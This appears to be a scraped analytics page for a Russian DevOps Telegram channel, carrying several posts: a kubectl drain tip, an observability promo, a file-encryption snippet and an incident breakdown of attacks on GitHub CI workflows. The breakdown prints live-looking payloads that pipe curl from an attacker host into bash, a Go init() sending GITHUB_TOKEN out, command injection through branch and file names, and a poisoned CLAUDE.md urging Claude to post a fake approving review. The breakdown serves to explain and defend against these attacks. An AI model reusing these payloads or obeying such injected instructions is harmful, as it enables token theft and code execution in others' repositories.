Библиотека девопса | DevOps, SRE, Sysadmin
Все самое полезное для девопсера в одном канале. Наши курсы: https://clc.to/ZJ7Z1w По рекламе: @tproger_sales_bot Для обратной связи: @proglibrary_feeedback_bot РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787 Заявка: 8137718351
Show more📈 Analytical overview of Telegram channel Библиотека девопса | DevOps, SRE, Sysadmin
Channel Библиотека девопса | DevOps, SRE, Sysadmin (@devopsslib) in the Russian language segment is an active participant. Currently, the community unites 10 338 subscribers, ranking 11 827 in the Technologies & Applications category and 61 477 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 10 338 subscribers.
According to the latest data from 27 October, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by -44 over the last 30 days and by -3 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 10.79%. Within the first 24 hours after publication, content typically collects 4.87% reactions from the total number of subscribers.
- Post reach: On average, each post receives 1 115 views. Within the first day, a publication typically gains 503 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 2.
- Thematic interests: Content is focused on key topics such as devops'a, навигация, скрипт, docker, git.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Все самое полезное для девопсера в одном канале.
Наши курсы: https://clc.to/ZJ7Z1w
По рекламе: @tproger_sales_bot
Для обратной связи: @proglibrary_feeedback_bot
РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787
Заявка: 8137718351”
Thanks to the high frequency of updates (latest data received on 28 October, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
kubectl drain <node-name> --ignore-daemonsets --delete-emptydir-data
Kubernetes корректно выведет все поды с ноды, перенесёт их на другие ноды в кластере и отметит саму ноду как недоступную для новых подов. Workloads при этом не упадут, они просто переедут.
--ignore-daemonsets говорит системе не трогать DaemonSets, потому что они крутятся на каждой ноде и переносить их бесполезно. --delete-emptydir-data удаляет поды с пустыми томами, которые нельзя перенести нормально.
Drain работает только с управляемыми подами. Если у вас валяются standalone поды без контроллера, они просто удалятся. Поэтому перед drain проверьте, что важные поды находятся в Deployments, StatefulSets или других контроллерах.
После drain нода остаётся в состоянии unschedulable. Когда закончите работу, верните её обратно:
kubectl uncordon <node-name>
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_prompt1. единый интерфейс для метрик, логов и трейсов — чтобы быстро собрать полную картину по системе 2. поиск инцидентов и первопричин (особенно полезно в микросервисной архитектуре) 3. гибкий алертинг и сценарии эскалации, включая уведомления и звонки ответственным 4. мониторинг приложений, инфраструктуры и ИИ-агентов — в облаке и в on-prem средеВнутри Яндекса с платформой ежемесячно работают около 16 тысяч сотрудников. В систему каждую секунду записывается до 3 млрд семплов метрик, 44 млн спанов и 60 ГБ логов. Платформу уже тестируют ОТП Банк и крупная FMCG-компания — хороший сигнал для enterprise-сегмента. Observability всё чаще связывают с экономическим эффектом, потому что простои и деградации напрямую бьют по доходам, а скорость диагностики становится фактором конкурентоспособности. Где больнее всего мониторинг: микросервисы, legacy-монолит, on-prem, гибрид или облако? 👇
from cryptography.fernet import Fernet
def encrypt_file(file_path):
key = Fernet.generate_key()
cipher = Fernet(key)
with open(file_path, "rb") as file:
encrypted_data = cipher.encrypt(file.read())
with open(file_path + ".enc", "wb") as enc_file:
enc_file.write(encrypted_data)
print(f"File encrypted! Key: {key.decode()}")
if __name__ == "__main__":
encrypt_file("secrets.txt")
Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.
⚠️ Не храните ключ рядом с зашифрованным файлом.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_promptcurl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.
Атака 1. avelino/awesome-go — кража токена через Go init()
Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.
В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}
Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.
Атака 2. project-akri/akri — прямая инъекция в shell-скрипт
Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.
Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.
Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки
Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)
Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...
Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.
Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла
Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md
При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.
Атака 5. ambient-code/platform — prompt injection в CLAUDE.md
Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.
Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётовGITHUB_TOKEN с правами contents: write и pull-requests: write на внешний сервер.
Все пять атак использовали одни и те же типичные ошибки в конфигурации воркфлоу: pull_request_target с checkout кода из форка, запуск shell-команд через неэкранированные ${{ }} выражения, отсутствие проверки author_association в триггерах по комментариям и избыточные права GITHUB_TOKEN.
➡️ Источник
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётов